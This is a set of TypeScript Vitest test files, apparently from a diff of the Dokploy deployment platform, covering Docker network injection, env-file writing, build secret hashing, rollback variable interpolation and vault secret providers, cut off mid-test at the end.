import { beforeEach, expect, test, type vi } from "vitest";
|
||||
import { parse } from "yaml";
|
||||
|
||||
const findManyMock = db.query.network.findMany as ReturnType<typeof vi.fn>;
|
||||
|
||||
beforeEach(() => {
|
||||
findManyMock.mockReset();
|
||||
findManyMock.mockResolvedValue([]);
|
||||
});
|
||||
|
||||
const baseCompose = {
|
||||
serverId: null,
|
||||
isolatedDeployment: false,
|
||||
} as unknown as Compose;
|
||||
|
||||
const withServiceNetworks = (
|
||||
serviceNetworks: Compose["serviceNetworks"],
|
||||
): Compose => ({ ...baseCompose, serviceNetworks });
|
||||
|
||||
test("applyServiceNetworks: no-op when serviceNetworks is empty", async () => {
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(result, withServiceNetworks([]));
|
||||
|
||||
expect(injected.size).toBe(0);
|
||||
expect(result.services?.web?.networks).toBeUndefined();
|
||||
expect(findManyMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
test("applyServiceNetworks: injects assigned network by networkId", async () => {
|
||||
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
|
||||
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(
|
||||
result,
|
||||
withServiceNetworks([
|
||||
{
|
||||
serviceName: "web",
|
||||
networkIds: ["net-1"],
|
||||
detachDokployNetwork: false,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
expect(injected.has("shared-net")).toBe(true);
|
||||
expect(result.services?.web?.networks).toContain("shared-net");
|
||||
});
|
||||
|
||||
test("applyServiceNetworks: detach removes dokploy-network and default", async () => {
|
||||
const result = parse(`
|
||||
services:
|
||||
db:
|
||||
image: postgres
|
||||
networks:
|
||||
- dokploy-network
|
||||
- default
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(
|
||||
result,
|
||||
withServiceNetworks([
|
||||
{ serviceName: "db", networkIds: [], detachDokployNetwork: true },
|
||||
]),
|
||||
);
|
||||
|
||||
expect(injected.size).toBe(0);
|
||||
expect(result.services?.db?.networks).not.toContain("dokploy-network");
|
||||
expect(result.services?.db?.networks).not.toContain("default");
|
||||
});
|
||||
|
||||
test("applyServiceNetworks: unknown networkId is skipped", async () => {
|
||||
findManyMock.mockResolvedValue([]);
|
||||
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(
|
||||
result,
|
||||
withServiceNetworks([
|
||||
{
|
||||
serviceName: "web",
|
||||
networkIds: ["missing"],
|
||||
detachDokployNetwork: false,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
expect(injected.size).toBe(0);
|
||||
});
|
||||
|
||||
test("applyServiceNetworks: skips services that don't exist in the compose", async () => {
|
||||
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
|
||||
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
`) as ComposeSpecification;
|
||||
|
||||
const injected = await applyServiceNetworks(
|
||||
result,
|
||||
withServiceNetworks([
|
||||
{
|
||||
serviceName: "ghost",
|
||||
networkIds: ["net-1"],
|
||||
detachDokployNetwork: false,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
expect(injected.size).toBe(0);
|
||||
expect(result.services?.web?.networks).toBeUndefined();
|
||||
});
|
||||
|
||||
test("declareUsedNetworksInRoot: declares dokploy-network only when used", () => {
|
||||
const used = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
networks:
|
||||
- dokploy-network
|
||||
`) as ComposeSpecification;
|
||||
declareUsedNetworksInRoot(used, new Set());
|
||||
expect(used.networks).toHaveProperty("dokploy-network");
|
||||
|
||||
const unused = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
networks:
|
||||
- default
|
||||
`) as ComposeSpecification;
|
||||
declareUsedNetworksInRoot(unused, new Set());
|
||||
expect(unused.networks ?? {}).not.toHaveProperty("dokploy-network");
|
||||
});
|
||||
|
||||
test("declareUsedNetworksInRoot: declares injected networks that are used", () => {
|
||||
const result = parse(`
|
||||
services:
|
||||
web:
|
||||
image: nginx
|
||||
networks:
|
||||
- shared-net
|
||||
`) as ComposeSpecification;
|
||||
|
||||
declareUsedNetworksInRoot(result, new Set(["shared-net", "unused-net"]));
|
||||
|
||||
expect(result.networks).toHaveProperty("shared-net");
|
||||
expect(result.networks ?? {}).not.toHaveProperty("unused-net");
|
||||
});
|
||||
|
||||
test("resolveServiceNetworks: returns dokploy-network by default", async () => {
|
||||
const resolved = await resolveServiceNetworks({});
|
||||
expect(resolved).toEqual([{ Target: "dokploy-network" }]);
|
||||
expect(findManyMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
test("resolveServiceNetworks: omits dokploy-network when detached", async () => {
|
||||
const resolved = await resolveServiceNetworks({ detachDokployNetwork: true });
|
||||
expect(resolved).toEqual([]);
|
||||
});
|
||||
|
||||
test("resolveServiceNetworks: appends overlay networks by networkId", async () => {
|
||||
findManyMock.mockResolvedValue([{ name: "overlay-a" }]);
|
||||
|
||||
const resolved = await resolveServiceNetworks({ networkIds: ["net-a"] });
|
||||
|
||||
expect(resolved).toEqual([
|
||||
{ Target: "dokploy-network" },
|
||||
{ Target: "overlay-a" },
|
||||
]);
|
||||
});
|
||||
|
||||
test("resolveServiceNetworks: networkSwarm override takes precedence", async () => {
|
||||
const override = [{ Target: "custom-net" }];
|
||||
const resolved = await resolveServiceNetworks({ networkSwarm: override });
|
||||
|
||||
expect(resolved).toBe(override);
|
||||
expect(findManyMock).not.toHaveBeenCalled();
|
||||
});
|
||||
@@ -0,0 +1,43 @@
|
||||
import { execFileSync } from "node:child_process";
|
||||
import { mkdirSync, readFileSync, rmSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
|
||||
import { parse } from "dotenv";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
|
||||
// Unlike compose's .env, this one is read by the app's own build tooling
|
||||
// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
|
||||
const appName = `env-file-literals-dockerfile-${process.pid}`;
|
||||
const projectPath = join(process.cwd(), ".docker", "compose", appName);
|
||||
const codePath = join(projectPath, "code");
|
||||
const dockerFilePath = join(codePath, "Dockerfile");
|
||||
|
||||
afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
|
||||
|
||||
const cases: Record<string, string> = {
|
||||
PASSWORD: "pa$$word",
|
||||
NESTED_JSON: '{"nested":{"a":1}}',
|
||||
QUOTE_INSIDE: 'she said "hi"',
|
||||
BACKSLASH: "back\\slash",
|
||||
UNICODE: "héllo wörld 日本語 🚀",
|
||||
};
|
||||
|
||||
describe("createEnvFileCommand", () => {
|
||||
it("writes special environment values that a generic dotenv parser reads back literally", () => {
|
||||
mkdirSync(codePath, { recursive: true });
|
||||
|
||||
const serviceEnv = Object.entries(cases)
|
||||
.map(([key, value]) => `${key}=${value}`)
|
||||
.join("\n");
|
||||
|
||||
const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
|
||||
execFileSync("bash", ["-c", command]);
|
||||
|
||||
const written = readFileSync(join(codePath, ".env"), "utf8");
|
||||
const parsed = parse(written);
|
||||
|
||||
for (const [key, value] of Object.entries(cases)) {
|
||||
expect(parsed[key], key).toBe(value);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,104 @@
|
||||
import type { ApplicationNested } from "@dokploy/server/utils/builders";
|
||||
import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const createApplication = (
|
||||
overrides: Partial<ApplicationNested> = {},
|
||||
): ApplicationNested =>
|
||||
({
|
||||
appName: "test-app",
|
||||
buildType: "railpack",
|
||||
sourceType: "git",
|
||||
buildPath: "/",
|
||||
railpackVersion: "0.15.4",
|
||||
env: "TEST_VAR=one",
|
||||
cleanCache: false,
|
||||
environment: {
|
||||
project: {
|
||||
env: "",
|
||||
},
|
||||
env: "",
|
||||
},
|
||||
...overrides,
|
||||
}) as unknown as ApplicationNested;
|
||||
|
||||
const getSecretsHash = (command: string) => {
|
||||
const match = command.match(/secrets-hash=([a-f0-9]{64})/);
|
||||
if (!match?.[1]) {
|
||||
throw new Error("secrets-hash build arg was not found");
|
||||
}
|
||||
|
||||
return match[1];
|
||||
};
|
||||
|
||||
describe("getRailpackCommand", () => {
|
||||
it("includes secrets-hash without clean cache", () => {
|
||||
const command = getRailpackCommand(createApplication());
|
||||
|
||||
expect(command).toContain("--build-arg secrets-hash=");
|
||||
expect(command).not.toContain("cache-key=");
|
||||
});
|
||||
|
||||
it("includes cache-key only when clean cache is enabled", () => {
|
||||
const command = getRailpackCommand(
|
||||
createApplication({
|
||||
cleanCache: true,
|
||||
}),
|
||||
);
|
||||
|
||||
expect(command).toContain("--build-arg secrets-hash=");
|
||||
expect(command).toContain("--build-arg cache-key=");
|
||||
});
|
||||
|
||||
it("changes secrets-hash when an environment value changes", () => {
|
||||
const firstCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: "TEST_VAR=one",
|
||||
}),
|
||||
);
|
||||
const secondCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: "TEST_VAR=two",
|
||||
}),
|
||||
);
|
||||
|
||||
expect(getSecretsHash(firstCommand)).not.toEqual(
|
||||
getSecretsHash(secondCommand),
|
||||
);
|
||||
});
|
||||
|
||||
it("changes secrets-hash when referenced project or environment values change", () => {
|
||||
const firstCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: [
|
||||
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
|
||||
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
|
||||
].join("\n"),
|
||||
environment: {
|
||||
project: {
|
||||
env: "SHARED_VALUE=one",
|
||||
},
|
||||
env: "SHARED_VALUE=alpha",
|
||||
},
|
||||
} as Partial<ApplicationNested>),
|
||||
);
|
||||
const secondCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: [
|
||||
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
|
||||
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
|
||||
].join("\n"),
|
||||
environment: {
|
||||
project: {
|
||||
env: "SHARED_VALUE=two",
|
||||
},
|
||||
env: "SHARED_VALUE=beta",
|
||||
},
|
||||
} as Partial<ApplicationNested>),
|
||||
);
|
||||
|
||||
expect(getSecretsHash(firstCommand)).not.toEqual(
|
||||
getSecretsHash(secondCommand),
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -32,6 +32,8 @@ const baseApp: ApplicationNested = {
|
||||
railpackVersion: "0.15.4",
|
||||
applicationId: "",
|
||||
previewLabels: [],
|
||||
networkIds: [],
|
||||
detachDokployNetwork: false,
|
||||
createEnvFile: true,
|
||||
bitbucketRepositorySlug: "",
|
||||
herokuVersion: "",
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
import { prepareEnvironmentVariables } from "@dokploy/server/index";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const projectEnv = `
|
||||
ENVIRONMENT=staging
|
||||
DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db
|
||||
`;
|
||||
|
||||
const environmentEnv = `
|
||||
NODE_ENV=production
|
||||
POSTGRES_HOST=postgres.internal
|
||||
POSTGRES_PORT=5432
|
||||
REDIS_URL=redis://redis.internal:6379
|
||||
`;
|
||||
|
||||
const serviceEnv = `
|
||||
NODE_ENV=\${{environment.NODE_ENV}}
|
||||
REDIS_URL=\${{environment.REDIS_URL}}
|
||||
PORT=3000
|
||||
`;
|
||||
|
||||
/**
|
||||
* A rollback replays the snapshot stored in `rollbacks.fullContext`, which keeps
|
||||
* the service env, the environment env and the project env captured at deploy time.
|
||||
*/
|
||||
const fullContext = {
|
||||
env: serviceEnv,
|
||||
environment: {
|
||||
env: environmentEnv,
|
||||
project: {
|
||||
env: projectEnv,
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
describe("prepareEnvironmentVariables for application rollback", () => {
|
||||
it("resolves environment variables from the rollback snapshot", () => {
|
||||
const result = prepareEnvironmentVariables(
|
||||
fullContext.env,
|
||||
fullContext.environment.project.env,
|
||||
fullContext.environment.env,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"NODE_ENV=production",
|
||||
"REDIS_URL=redis://redis.internal:6379",
|
||||
"PORT=3000",
|
||||
]);
|
||||
});
|
||||
|
||||
it("resolves project and environment variables together on rollback", () => {
|
||||
const rollbackEnv = `
|
||||
DATABASE_URL=\${{project.DATABASE_URL}}
|
||||
POSTGRES_URL=postgres://\${{environment.POSTGRES_HOST}}:\${{environment.POSTGRES_PORT}}/app
|
||||
ENVIRONMENT=\${{project.ENVIRONMENT}}
|
||||
`;
|
||||
|
||||
const result = prepareEnvironmentVariables(
|
||||
rollbackEnv,
|
||||
projectEnv,
|
||||
environmentEnv,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db",
|
||||
"POSTGRES_URL=postgres://postgres.internal:5432/app",
|
||||
"ENVIRONMENT=staging",
|
||||
]);
|
||||
});
|
||||
|
||||
it("throws when the environment env of the snapshot is not passed", () => {
|
||||
expect(() =>
|
||||
prepareEnvironmentVariables(fullContext.env, projectEnv),
|
||||
).toThrow("Invalid environment variable: environment.NODE_ENV");
|
||||
});
|
||||
|
||||
it("maintains precedence: service > environment > project on rollback", () => {
|
||||
const conflictingProjectEnv = `
|
||||
NODE_ENV=project
|
||||
API_URL=https://project.api.com
|
||||
`;
|
||||
|
||||
const conflictingEnvironmentEnv = `
|
||||
NODE_ENV=environment
|
||||
API_URL=https://environment.api.com
|
||||
`;
|
||||
|
||||
const rollbackEnv = `
|
||||
NODE_ENV=service
|
||||
PROJECT_API_URL=\${{project.API_URL}}
|
||||
ENVIRONMENT_API_URL=\${{environment.API_URL}}
|
||||
SELF_REFERENCE=\${{NODE_ENV}}
|
||||
`;
|
||||
|
||||
const result = prepareEnvironmentVariables(
|
||||
rollbackEnv,
|
||||
conflictingProjectEnv,
|
||||
conflictingEnvironmentEnv,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"NODE_ENV=service",
|
||||
"PROJECT_API_URL=https://project.api.com",
|
||||
"ENVIRONMENT_API_URL=https://environment.api.com",
|
||||
"SELF_REFERENCE=service",
|
||||
]);
|
||||
});
|
||||
});
|
||||
+442
@@ -0,0 +1,442 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const findMany = vi.fn();
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
vaultProvider: {
|
||||
findMany: (...args: unknown[]) => findMany(...args),
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
|
||||
import {
|
||||
resolveVaultReferences,
|
||||
withResolvedVaultRefs,
|
||||
} from "@dokploy/server/utils/vault";
|
||||
import { azureClient } from "@dokploy/server/utils/vault/azure";
|
||||
import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
|
||||
import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
|
||||
|
||||
const mockFetch = vi.fn();
|
||||
global.fetch = mockFetch as typeof fetch;
|
||||
|
||||
const jsonResponse = (body: unknown, ok = true, status = 200) =>
|
||||
({
|
||||
ok,
|
||||
status,
|
||||
json: async () => body,
|
||||
}) as Response;
|
||||
|
||||
beforeEach(() => {
|
||||
findMany.mockReset();
|
||||
mockFetch.mockReset();
|
||||
});
|
||||
|
||||
const scope = {
|
||||
organizationId: "org-1",
|
||||
projectId: "proj-1",
|
||||
environmentId: "env-1",
|
||||
};
|
||||
|
||||
const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
|
||||
|
||||
describe("resolveVaultReferences", () => {
|
||||
it("returns input untouched and skips the db when no refs are present", async () => {
|
||||
const env = "FOO=bar\nBAZ=${{project.QUX}}";
|
||||
const result = await resolveVaultReferences(env, scope);
|
||||
expect(result).toBe(env);
|
||||
expect(findMany).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("returns null/empty inputs unchanged", async () => {
|
||||
expect(await resolveVaultReferences(null, scope)).toBeNull();
|
||||
expect(await resolveVaultReferences("", scope)).toBe("");
|
||||
});
|
||||
|
||||
it("throws when refs exist but no organization context is given", async () => {
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
|
||||
).rejects.toThrow("not supported in this context");
|
||||
});
|
||||
|
||||
it("throws for an unknown provider", async () => {
|
||||
findMany.mockResolvedValue([]);
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
|
||||
).rejects.toThrow('Vault provider "missing" not found');
|
||||
});
|
||||
|
||||
it("throws when the provider is not assigned to the project", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [{ projectId: "other-project", environmentIds: [] }],
|
||||
},
|
||||
]);
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
|
||||
).rejects.toThrow("not enabled for this project/environment");
|
||||
});
|
||||
|
||||
it("throws when the provider is restricted to another environment", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [
|
||||
{ projectId: "proj-1", environmentIds: ["production-env"] },
|
||||
],
|
||||
},
|
||||
]);
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
|
||||
).rejects.toThrow("not enabled for this project/environment");
|
||||
});
|
||||
|
||||
it("allows a provider restricted to the matching environment", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
|
||||
const result = await resolveVaultReferences(
|
||||
"FOO=${{vault.prod.SECRET}}",
|
||||
scope,
|
||||
);
|
||||
expect(result).toBe("FOO=value-1");
|
||||
});
|
||||
|
||||
it("resolves refs through a doppler provider", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "doppler-prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
|
||||
);
|
||||
|
||||
const result = await resolveVaultReferences(
|
||||
"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
|
||||
scope,
|
||||
);
|
||||
|
||||
expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("throws when the secret is missing in the provider", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "doppler-prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
|
||||
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
|
||||
).rejects.toThrow('secret "MISSING" not found');
|
||||
});
|
||||
});
|
||||
|
||||
describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
|
||||
it("resolves entity env sources so sync interpolation sees real values", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
|
||||
|
||||
const entity = {
|
||||
env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
env: null,
|
||||
project: {
|
||||
projectId: "proj-1",
|
||||
env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
|
||||
organizationId: "org-1",
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const resolved = await withResolvedVaultRefs(entity);
|
||||
const prepared = prepareEnvironmentVariables(
|
||||
resolved.env,
|
||||
resolved.environment.project.env,
|
||||
resolved.environment.env,
|
||||
);
|
||||
|
||||
expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
|
||||
});
|
||||
|
||||
it("resolves buildArgs and buildSecrets when present", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
|
||||
|
||||
const resolved = await withResolvedVaultRefs({
|
||||
env: "FOO=bar",
|
||||
buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
|
||||
buildSecrets: null,
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
env: null,
|
||||
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
|
||||
},
|
||||
});
|
||||
|
||||
expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
|
||||
expect(resolved.buildSecrets).toBeNull();
|
||||
expect(resolved.env).toBe("FOO=bar");
|
||||
});
|
||||
|
||||
it.each([
|
||||
["service env", { env: "SECRET=${{vault.locked.X}}" }],
|
||||
["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
|
||||
["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
|
||||
["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
|
||||
])(
|
||||
"rejects a ref to an unassigned provider placed in the %s",
|
||||
async (_source, overrides) => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "locked",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [{ projectId: "other-project", environmentIds: [] }],
|
||||
},
|
||||
]);
|
||||
|
||||
const entity = {
|
||||
env: (overrides as { env?: string }).env ?? "FOO=bar",
|
||||
buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
env:
|
||||
(overrides as { environmentEnv?: string }).environmentEnv ?? null,
|
||||
project: {
|
||||
projectId: "proj-1",
|
||||
env: (overrides as { projectEnv?: string }).projectEnv ?? null,
|
||||
organizationId: "org-1",
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
|
||||
"not enabled for this project/environment",
|
||||
);
|
||||
expect(mockFetch).not.toHaveBeenCalled();
|
||||
},
|
||||
);
|
||||
|
||||
it("rejects a ref restricted to another environment from the environment env", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod-only",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [
|
||||
{ projectId: "proj-1", environmentIds: ["production-env"] },
|
||||
],
|
||||
},
|
||||
]);
|
||||
|
||||
await expect(
|
||||
withResolvedVaultRefs({
|
||||
env: null,
|
||||
environment: {
|
||||
environmentId: "dev-env",
|
||||
env: "SECRET=${{vault.prod-only.X}}",
|
||||
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
|
||||
},
|
||||
}),
|
||||
).rejects.toThrow("not enabled for this project/environment");
|
||||
expect(mockFetch).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
|
||||
expect(() =>
|
||||
prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
|
||||
).toThrow("Unresolved vault reference");
|
||||
});
|
||||
|
||||
it("keeps working without vault refs", () => {
|
||||
const prepared = prepareEnvironmentVariables(
|
||||
"FOO=${{project.BAR}}",
|
||||
"BAR=baz",
|
||||
);
|
||||
expect(prepared).toEqual(["FOO=baz"]);
|
||||
expect(findMany).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("hashicorp client", () => {
|
||||
const config = {
|
||||
providerType: "hashicorp" as const,
|
||||
url: "https://vault.example.com",
|
||||
token: "hvs.token",
|
||||
mount: "secret",
|
||||
};
|
||||
|
||||
it("rejects refs without a field", async () => {
|
||||
await expect(
|
||||
hashicorpClient.getSecrets(config, ["myapp/prod"]),
|
||||
).rejects.toThrow("expected format <path>:<field>");
|
||||
});
|
||||
|
||||
it("groups refs by path and picks fields from KV v2 data", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
|
||||
);
|
||||
|
||||
const result = await hashicorpClient.getSecrets(config, [
|
||||
"myapp/prod:USER",
|
||||
"myapp/prod:PASS",
|
||||
]);
|
||||
|
||||
expect(result).toEqual({
|
||||
"myapp/prod:USER": "admin",
|
||||
"myapp/prod:PASS": "pw",
|
||||
});
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toBe(
|
||||
"https://vault.example.com/v1/secret/data/myapp/prod",
|
||||
);
|
||||
});
|
||||
|
||||
it("throws when a field is missing", async () => {
|
||||
mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
|
||||
await expect(
|
||||
hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
|
||||
).rejects.toThrow('field "MISSING" not found');
|
||||
});
|
||||
|
||||
it("lists full path:field refs by walking directories", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("/metadata?list=true")) {
|
||||
return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
|
||||
}
|
||||
if (url.includes("/metadata/myapp?list=true")) {
|
||||
return jsonResponse({ data: { keys: ["prod"] } });
|
||||
}
|
||||
if (url.includes("/data/myapp/prod")) {
|
||||
return jsonResponse({
|
||||
data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
|
||||
});
|
||||
}
|
||||
if (url.includes("/data/shared")) {
|
||||
return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
|
||||
}
|
||||
return jsonResponse({}, false, 404);
|
||||
});
|
||||
|
||||
const names = await hashicorpClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toEqual([
|
||||
"myapp/prod:API_KEY",
|
||||
"myapp/prod:DB_PASSWORD",
|
||||
"shared:STRIPE_KEY",
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("azure client", () => {
|
||||
const config = {
|
||||
providerType: "azure" as const,
|
||||
vaultUri: "https://my-vault.vault.azure.net",
|
||||
tenantId: "tenant-1",
|
||||
clientId: "client-1",
|
||||
clientSecret: "secret-1",
|
||||
};
|
||||
|
||||
it("authenticates and reads secrets by name", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("login.microsoftonline.com/tenant-1")) {
|
||||
return jsonResponse({ access_token: "azure-token" });
|
||||
}
|
||||
if (url.includes("/secrets/db-password?")) {
|
||||
return jsonResponse({ value: "azure-pw" });
|
||||
}
|
||||
return jsonResponse({}, false, 404);
|
||||
});
|
||||
|
||||
const result = await azureClient.getSecrets(config, ["db-password"]);
|
||||
|
||||
expect(result).toEqual({ "db-password": "azure-pw" });
|
||||
});
|
||||
|
||||
it("throws a clear error for missing secrets", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("login.microsoftonline.com")) {
|
||||
return jsonResponse({ access_token: "azure-token" });
|
||||
}
|
||||
return jsonResponse({}, false, 404);
|
||||
});
|
||||
|
||||
await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
|
||||
'secret "nope" not found',
|
||||
);
|
||||
});
|
||||
|
||||
it("lists secret names from paged results", async () => {
|
||||
mockFetch.mockImplementation(async (url: string) => {
|
||||
if (url.includes("login.microsoftonline.com")) {
|
||||
return jsonResponse({ access_token: "azure-token" });
|
||||
}
|
||||
if (url.includes("skiptoken")) {
|
||||
return jsonResponse({
|
||||
value: [{ id: `${config.vaultUri}/secrets/second` }],
|
||||
nextLink: null,
|
||||
});
|
||||
}
|
||||
return jsonResponse({
|
||||
value: [{ id: `${config.vaultUri}/secrets/first` }],
|
||||
nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
|
||||
});
|
||||
});
|
||||
|
||||
const names = await azureClient.listSecretNames?.(config);
|
||||
|
||||
expect(names).toEqual(["first", "second"]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("doppler client", () => {
|
||||
it("propagates auth errors with the status code", async () => {
|
||||
mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
|
||||
await expect(
